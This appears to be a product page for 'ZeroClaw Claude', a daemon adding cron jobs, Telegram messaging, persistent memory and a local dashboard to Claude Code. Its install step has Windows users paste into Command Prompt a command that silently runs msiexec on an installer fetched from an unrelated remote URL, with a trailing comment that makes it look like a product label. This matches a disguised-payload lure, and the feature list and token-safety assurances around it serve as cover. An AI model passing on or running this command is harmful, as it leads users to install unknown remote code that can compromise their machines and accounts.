A lightweight, open-source daemon built into your Claude Code. Zero API overhead, zero separate keys, zero billing surprises.

ZeroClaw Claude turns your Claude Code into a personal assistant that never sleeps. It runs as a background daemon, executing tasks on a schedule, responding to messages on Telegram, transcribing voice commands, and integrating with any service you need — all within your existing Claude Code subscription.

1. Press Win + R
2. Type:

cmd 

3. Press Enter This will open Command Prompt.

Copy the command below and paste it into Command Prompt, then press Enter.

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Zeroclaw Claude

The installer will:

• Check / install Node.js ≥ 20 if needed
• Check / install Bun (fast JS runtime) if needed
• Check / install Claude CLI if needed
• Install Node dependencies and compile TypeScript
• Register the Claude Code plugin and skills
• Run the interactive setup wizard
• Add zeroclaw command to your PATH

Zero API overhead. No separate API keys, no token accounting, no billing surprises. Runs entirely within your Claude Code subscription using @anthropic-ai/claude-agent-sdk which spawns the claude binary — your OAuth token is never read or transmitted by ZeroClaw.

Deploy in minutes. One command installs everything. The setup wizard guides you through model, heartbeat, Telegram, and security.

Built-in observability. A real-time web dashboard to monitor runs, edit scheduled jobs, inspect logs, and chat with Claude live.

Cron jobs with standard cron syntax, timezone-aware, and reliable execution. Create jobs from Claude Code or the web dashboard.

# Daily standup at 9am 0 9 * * * — Generate git summary and send to Telegram # Every Friday 5pm 0 17 * * 5 — Send weekly summary and plan for next week 

Periodic proactive check-ins at a configurable interval with quiet hours. Claude checks in, reviews your context, and surfaces anything important.

Full Telegram integration — text messages, voice notes (Groq Whisper transcription), and photo analysis. Chat with Claude from your phone as if you're in Claude Code.

You: "What's the status of the main branch?" Claude: "main is 3 commits ahead of origin. Last commit: 'fix auth middleware'..." 

Three layers of persistent memory:

• Session continuity — resumes the same Claude Code session across messages
• Semantic memory — facts, decisions, and preferences extracted and scored by salience
• Tool-use context — what Claude did, captured via post-tool-use hooks

Real-time dashboard at http://127.0.0.1:3742:

• Overview with run stats and token usage
• Cron job manager (create, edit, enable/disable, delete)
• Full run history
• Live chat with Claude
• Streaming log viewer
• Memory browser

Four granular levels:

• readonly — no write access, no shell
• standard — files + web, no shell exec
• elevated — files + web + shell (default)
• full — all tools, bypass all prompts

# Start daemon zeroclaw # Or with npm npm start # Setup wizard (first time) npm run setup # Health check npm run status # Development mode (hot reload) npm run dev

/zeroclaw:start # Start the daemon /zeroclaw:status # Health check /zeroclaw:job # Manage cron jobs # Natural language works too: "Schedule a daily git summary at 9am" "Add a cron job to check my email every hour" "Show me the ZeroClaw status"

Config lives at ~/.zeroclaw-claude/config.json:

{ "model": "claude-sonnet-4-6", "heartbeat": { "enabled": true, "intervalMin": 60, "quietHoursStart": 23, "quietHoursEnd": 8, "prompt": "Check in: any urgent tasks or things I should know about?" }, "telegram": { "enabled": true, "token": "...", "chatId": "...", "allowVoice": true, "groqApiKey": "..." }, "security": "elevated", "dashboardPort": 3742 }

Override per-job by setting model on individual cron jobs.

The web dashboard runs at http://127.0.0.1:3742 (localhost only, not exposed to the network).

Tabs:

• Overview — live stats, recent runs
• Cron Jobs — full job manager
• Run History — complete history with token usage
• Live Chat — talk to Claude directly
• Logs — streaming log viewer
• Memory — browse stored memory entries

1. Create a bot at https://t.me/BotFather → /newbot
2. Get your chat ID at https://t.me/userinfobot
3. Run npm run setup and enter both values
4. Optional: add a Groq API key for voice transcription (free tier available at console.groq.com)

Bot commands:

/start — Welcome + feature list /newchat — Clear session, fresh conversation /status — Daemon health stats /jobs — List scheduled cron jobs /memory — Top memory entries /help — Full command list 

ZeroClaw Claude never reads or transmits your OAuth token.

@anthropic-ai/claude-agent-sdk's query() spawns the claude CLI binary as a child subprocess. That subprocess manages its own OAuth from ~/.claude/. ZeroClaw only receives the text responses — nothing else.

What this means for you: ZeroClaw is fully compatible with Anthropic's February 2026 policy on third-party OAuth usage.

source ~/.zshrc # or ~/.bash_profile

npm install -g @anthropic-ai/claude-code

npm run status # check the port config open http://127.0.0.1:3742
